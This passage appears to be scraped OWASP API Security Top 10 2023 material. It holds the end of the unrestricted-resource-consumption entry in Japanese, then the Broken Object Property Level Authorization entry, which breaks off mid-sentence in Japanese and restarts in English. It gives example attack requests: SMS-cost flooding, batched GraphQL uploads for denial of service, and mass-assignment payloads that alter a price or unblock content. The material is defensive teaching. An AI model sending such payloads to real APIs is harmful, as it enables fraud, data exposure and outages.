単一のAPIクライアントリクエストで実行する操作の数(例:GraphQLのバッチ処理) 単一のリクエスト-レスポンスで返すページごとのレコード数 サードパーティサービスプロバイダの支出限度額 攻撃シナリオの例 シナリオ #1 あるソーシャルネットワークはSMS検証を利用した「パスワードを忘れた」フローを実装し、ユーザーがパスワードをリセットするためにSMS経由でワンタイムトークンを受け取れるようにしています。 ユーザーが「パスワードを忘れた」をクリックすると、ユーザーのブラウザからバックエンドAPIへ次のAPIコールが送信されます: POST /initiate_forgot_password { “step”: 1, “user_number”: “6501113434” } その後、バックエンドからはSMS送信を担当する第三者APIへのAPIコールが裏で送信されます: POST /sms/send_reset_pass_code Host: willyo.net { “phone_number”: “6501113434” } 第三者プロバイダであるWillyoはこの種の呼び出しに対して$0.05を請求します。 攻撃者はスクリプトを作成し、最初のAPIコールを何万回も送信します。バックエンドはWillyoに何万件ものテキストメッセージ送信を要求し、数分で数千ドルの損失を引き起こします。 シナリオ #2 GraphQL APIエンドポイントではユーザーがプロフィール画像をアップロードできます。 POST /graphql { “query”: “mutation { uploadPic(name: \”pic1\”, base64_pic: \”R0FOIEFOR0xJVA…\”) { url } }” } アップロードが完了すると、APIはアップロードされた画像を基に複数の異なるサイズのサムネイルを生成します。このグラフィカル操作はサーバーの多くのメモリを使用します。 APIは伝統的なレート制限保護を実装しています – ユーザーは短期間で多くの回数GraphQLエンドポイントにアクセスできません。また、アップロードされた画像のサイズもサムネイル生成前に確認します。 攻撃者はGraphQLの柔軟な性質を利用してこれらのメカニズムを簡単にバイパスできます: POST /graphql [ {“query”: “mutation {uploadPic(name: \”pic1\”, base64_pic: \”R0FOIEFOR0xJVA…\”) {url}}”}, {“query”: “mutation {uploadPic(name: \”pic2\”, base64_pic: \”R0FOIEFOR0xJVA…\”) {url}}”}, … {“query”: “mutation {uploadPic(name: \”pic999\”, base64_pic: \”R0FOIEFOR0xJVA…\”) {url}}”}, } APIは uploadPic 操作の試行回数を制限していないため、この呼び出しはサーバーメモリの枯渇とDoS攻撃を引き起こします。 シナリオ #3 サービスプロバイダは、クライアントがそのAPIを使用して任意の大きなファイルをダウンロードできるようにしています。これらのファイルはクラウドオブジェクトストレージに保存され、頻繁に変更されません。サービスプロバイダは帯域幅消費を低く保つためにキャッシュサービスに依存しています。キャッシュサービスは15GBまでのファイルのみをキャッシュします。 ファイルの1つが更新されると、そのサイズが18GBに増加します。すべてのサービスクライアントは新しいバージョンをすぐに取得し始めます。クラウドサービスの最大コスト許容量や消費コストアラートがなかったため、次の月の請求額は平均US$13からUS$8,000に増加します。 予防方法 メモリ、CPU、リスタート数、ファイルディスクリプタ、プロセス数などを制限することが容易なソリューションを使用します(例:コンテナ/サーバーレスコード、例:Lambdasなど)。 すべての受信パラメータやペイロードの最大データサイズを定義し、それに対する制限を強制します。たとえば、文字列の最大長、配列内の要素の最大数、および最大アップロードファイルサイズ。 定義された時間枠内でAPIとの相互作用を制限する(レート制限)。 ビジネスニーズに基づいてレート制限を微調整します。一部のAPIエンドポイントではより厳格なポリシーが必要な場合があります。 単一のAPIクライアント/ユーザーが単一の操作(例:OTPの検証、ワンタイムURLの訪問なしでのパスワード回復のリクエスト)を実行できる回数や頻度を制限します。 クエリ文字列とリクエストボディパラメータの適切なサーバーサイドバリデーションを追加します。特に、レスポンスで返すレコードの数を制御するパラメータについて。 すべてのサービスプロバイダ/ API統合に対して支出制限を設定します。支出制限を設定できない場合は、代わりに請求アラートを設定します。 参考文献 OWASP 「可用性」 – Webサービスセキュリティチートシート 「DoS防止」 – GraphQLチートシート 「バッチ攻撃の緩和」 – GraphQLチートシート 外部参考 CWE-770: 制限またはスロットリングなしでのリソースの割り当て CWE-400: 制御されていないリソース消費 CWE-799: 相互作用頻度の不適切な制御 「レート制限(スロットリング)」 – マイクロサービスベースのアプリケーションシステムのセキュリティ戦略、NIST
API3:2023 Broken Object Property Level Authorization
脅威要因 / 攻撃ベクトル セキュリティ弱点 影響 API固有:悪用可能性 簡単 普及度 一般的:検出可能性 簡単 技術的 適度:特定のビジネスに依存 APIは通常、全てのオブジェクトのプロパティを返すエンドポイントを公開します。これは特にREST APIに対して有効です。GraphQLなどの他のプロトコルでは、どのプロパティを返すかを指定するために工夫が必要です。これらの操作可能な追加プロパティを識別するには、より多くの努力が必要ですが、このタスクを支援する自動化ツールもいくつかあります。 APIの応答を検査することで、返されたオブジェクトの表現に含まれる機密情報を識別することが十分です。通常、Fuzzingは追加の(隠された)プロパティを特定するために使用されます。それらを変更できるかどうかは、APIリクエストを作成して応答を分析することによって判断されます。ターゲットのプロパティがAPIの応答に Threat agents/Attack vectors Security Weakness Impacts API Specific : Exploitability Easy Prevalence Common : Detectability Easy Technical Moderate : Business Specific APIs tend to expose endpoints that return all object’s properties. This is particularly valid for REST APIs. For other protocols such as GraphQL, it may require crafted requests to specify which properties should be returned. Identifying these additional properties that can be manipulated requires more effort, but there are a few automated tools available to assist in this task. Inspecting API responses is enough to identify sensitive information in returned objects’ representations. Fuzzing is usually used to identify additional (hidden) properties. Whether they can be changed is a matter of crafting an API request and analyzing the response. Side-effect analysis may be required if the target property is not returned in the API response. Unauthorized access to private/sensitive object properties may result in data disclosure, data loss, or data corruption. Under certain circumstances, unauthorized access to object properties can lead to privilege escalation or partial/full account takeover. Is the API Vulnerable? When allowing a user to access an object using an API endpoint, it is important to validate that the user has access to the specific object properties they are trying to access. An API endpoint is vulnerable if: The API endpoint exposes properties of an object that are considered sensitive and should not be read by the user. (previously named: “Excessive Data Exposure“) The API endpoint allows a user to change, add/or delete the value of a sensitive object’s property which the user should not be able to access (previously named: “Mass Assignment“) Example Attack Scenarios Scenario #1 A dating app allows a user to report other users for inappropriate behavior. As part of this flow, the user clicks on a “report” button, and the following API call is triggered: POST /graphql { “operationName”:”reportUser”, “variables”:{ “userId”: 313, “reason”:[“offensive behavior”] }, “query”:”mutation reportUser($userId: ID!, $reason: String!) { reportUser(userId: $userId, reason: $reason) { status message reportedUser { id fullName recentLocation } } }” } The API Endpoint is vulnerable since it allows the authenticated user to have access to sensitive (reported) user object properties, such as “fullName” and “recentLocation” that are not supposed to be accessed by other users. Scenario #2 An online marketplace platform, that offers one type of users (“hosts”) to rent out their apartment to another type of users (“guests”), requires the host to accept a booking made by a guest, before charging the guest for the stay. As part of this flow, an API call is sent by the host to POST /api/host/approve_booking with the following legitimate payload: { “approved”: true, “comment”: “Check-in is after 3pm” } The host replays the legitimate request, and adds the following malicious payload: { “approved”: true, “comment”: “Check-in is after 3pm”, “total_stay_price”: “$1,000,000” } The API endpoint is vulnerable because there is no validation that the host should have access to the internal object property – total_stay_price, and the guest will be charged more than she was supposed to be. Scenario #3 A social network that is based on short videos, enforces restrictive content filtering and censorship. Even if an uploaded video is blocked, the user can change the description of the video using the following API request: PUT /api/video/update_video { “description”: “a funny video about cats” } A frustrated user can replay the legitimate request, and add the following malicious payload: { “description”: “a funny video about cats”, “blocked”: false } The API endpoint is vulnerable because there is no validation if the user should have access to the internal object property – blocked, and the user can change the value from true to false and unlock their own blocked content. How To Prevent When exposing an object using an API endpoint, always make sure that the user should have access to the object’s properties you expose. Avoid using generic methods such as to_json() and to_string(). Instead, cherry-pick specific object properties you specifically want to return. If possible, avoid using functions that automatically bind a client’s input into code variables, internal objects, or object properties (“Mass Assignment”). Allow changes only to the object’s properties that should be updated by the client. Implement a schema-based response validation mechanism as an extra layer of security. As part of this mechanism, define and enforce data returned by all API methods. Keep returned data structures to the bare minimum, according to the business/functional requirements for the endpoint. References OWASP API3:2019 Excessive Data Exposure – OWASP API Security Top 10 2019 API6:2019 – Mass Assignment – OWASP API Security Top 10 2019 Mass Assignment Cheat Sheet External CWE-213: Exposure of Sensitive Information Due to Incompatible Policies CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes